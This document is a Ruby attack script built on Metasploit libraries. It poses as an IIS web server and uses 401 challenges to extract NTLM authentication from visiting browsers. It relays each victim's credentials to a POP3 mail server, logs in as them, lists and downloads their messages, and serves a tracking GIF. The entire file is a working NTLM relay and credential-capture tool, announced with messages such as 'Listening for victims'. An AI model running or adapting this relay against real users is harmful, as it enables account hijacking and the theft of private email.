#!/usr/bin/env ruby # Capture NTLM/LM via HTTP and proxy to pop3 - Does not do NTLMv2/LMv2 yet (yet) # # Author: Kurt Grutzmacher # Copyright (c) 2007 # Rev history: # # 10/xx/07 - initial release # # NTLM auth over HTTP info: # http://davenport.sourceforge.net/ntlm.html (new) # http://www.innovation.ch/personal/ronald/ntlm.html (old) require 'socket' msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__ $:.unshift(File.join(File.dirname(msfbase), 'lib')) require 'rex' require 'msf/core' # global variable for 401 html text $html401 = %q{ You are not authorized to view this page

You are not authorized to view this page

You do not have permission to view this directory or page using the credentials that you supplied because your Web browser is sending a WWW-Authenticate header field that the Web server is not configured to accept.

Please try the following:

  • Contact the Web site administrator if you believe you should be able to view this directory or page.
  • Click the Refresh button to try again with different credentials.

HTTP Error 401.2 - Unauthorized: Access is denied due to server configuration.
Internet Information Services (IIS)


Technical Information (for support personnel)

  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 401.
  • Open IIS Help, which is accessible in IIS Manager (inetmgr), and search for topics titled About Security, Authentication, and About Custom Error Messages.
} # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- # first message if no NTLM authentication is sent in request # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- def firstmessage currtime = Time.new initialmsg = "HTTP/1.1 401 Unauthorized\r\n" + "Content-Type: text/html\r\n" + "Server: Microsoft-IIS/6.0\r\n" + "WWW-Authenticate: NTLM\r\n" + "X-Powered-By: ASP.NET\r\n" + "Date: #{currtime}\r\n" + "Content-Length: #{$html401.length}\r\n\r\n" + $html401 puts "[*] Sending WWW-Authenticate: NTLM" return initialmsg end # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- # process an NTLM request # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- def processNTLM(httpsock, request, pop3server, pop3port) # do some magic on the request auth, response = "" request.each_line{ |line| if line =~ /^Authorization: NTLM .*/ auth = line.split(" ").last end } decode = Rex::Text.decode_base64(auth.strip) type = decode[8] if type == 1 then # Downgrade type 1 message #auth = Rex::Proto::SMB::Utils.downgrade_type_message(auth) puts "[-] Type 1 message, starting pop3 connection" currtime = Time.new pop3sock = TCPSocket.new(pop3server, pop3port) pop3resp = pop3sock.recvfrom(1024) puts "[-] POP3 Header: #{pop3resp.to_s.chomp}" pop3sock.send("AUTH\r\n", 0) pop3resp = pop3sock.recvfrom(1024) puts "[-] POP3 capabilities: #{pop3resp.to_s.chomp}" pop3sock.send("AUTH NTLM\r\n", 0) pop3resp = pop3sock.recvfrom(1024) puts "[-] POP3 returned: #{pop3resp.to_s.chomp}, sending Type1 message #{auth}" pop3sock.send("#{auth}\r\n", 0) pop3resp = pop3sock.recvfrom(1024) puts "[-] POP3 returned: #{pop3resp.to_s.chomp}, sending to client" pop3resp = pop3resp.to_s.split(" ").last restext = "HTTP/1.1 401 Unauthorized\r\n" + "Content-Type: text/html\r\n" + "Server: Microsoft-IIS/6.0\r\n" + "WWW-Authenticate: NTLM #{pop3resp}\r\n" + "X-Powered-By: ASP.NET\r\n" + "Date: #{currtime}\r\n" + "Keep-alive: true\r\n" + "Content-Length: #{$html401.length}\r\n\r\n" + $html401 httpsock.send(restext, 0) while line = httpsock.gets if line =~ /^Authorization: NTLM .*/ puts "[-] HTTP client sent auth, sending to pop3 server" auth = line.split(" ").last puts "[-] Type 3 message: #{auth}" pop3sock.send("#{auth}\r\n", 0) pop3resp = pop3sock.recv(1024) puts "[-] POP3 returned: #{pop3resp.to_s.chomp}" if pop3resp =~ /OK User successfully logged on/ (domain, user, host, lm, nt) = Rex::Proto::SMB::Utils.process_type3_message(auth) puts "[*] POP3 Authentication succeeded! #{domain}\\#{user}@#{host}" puts "[-] Sending LIST command" pop3sock.send("LIST\r\n", 0) pop3resp = pop3sock.recv(1024) m = /\A\+OK (\d+)[ \t]+(\d+)/.match(pop3resp) or raise BadResponseError, "illegal response: #{pop3resp}" num = m[1].to_i size = m[2].to_i puts "[-] #{user} has #{num} messages of #{size} size." if (num > 0) 0.upto(num) do |cnt| puts "[-] Getting Msg ##{num}" pop3sock.send("RETR #{num}\r\n", 0) pop3resp = pop3sock.recv(size) puts "[-] #{pop3resp.to_s.chomp}" end end end pop3sock.send("QUIT\r\n", 0) end end end fd = File.open("web_bug.gif", "rb") image = fd.read fd.close restext = "HTTP/1.1 200 OK\r\n" + "Connection: close\r\n" + "Content-Type: image/gif" + "Content-Length: #{image.length}\r\n\r\n" + image httpsock.send(restext, 0) pop3sock.close return end # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- # Main server start # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- port = ARGV[0] or 8080 pop3server = ARGV[1] or "127.0.0.1" pop3port = ARGV[2] or "110" # validate the url actually does NTLM auth puts "[*] Validating server: " tsock = TCPSocket.new(pop3server, pop3port) resp = tsock.recvfrom(1024) puts "\t" + resp[0] # greeting tsock.send("AUTH\r\n", 0) resp = tsock.recvfrom(1024) puts "\t" + resp[0] tsock.close if resp[0] =~ /NTLM/ puts "[*] #{pop3server} is a valid POP3 server with NTLM authentication!" else puts "[!] ERROR: #{pop3server} doesn't do NTLM authentication! Exiting..." exit end puts "[*] Listening for victims on #{port}, using connecting to #{pop3server}:#{pop3port}" server = TCPServer.open('', port) loop do socket = server.accept Thread.start do s = socket port = s.peeraddr[1] name = s.peeraddr[2] addr = s.peeraddr[3] puts "[!] Connect from #{name}:#{port}" request = "" begin # gather lines up into one big request while line = s.gets if line !~ /^\r\n$|^\n$/ request += line else # if the request contains Authorization: NTLM in the header, process it if request =~ /^Authorization: NTLM/ s.print processNTLM(s, request, pop3server, pop3port) s.close else # otherwise send the requirement to do NTLM auth. s.print firstmessage() s.close end # if request has ntlm end # if line doesn't end end # while getting lines end # begin end # thread end # loop-de-loop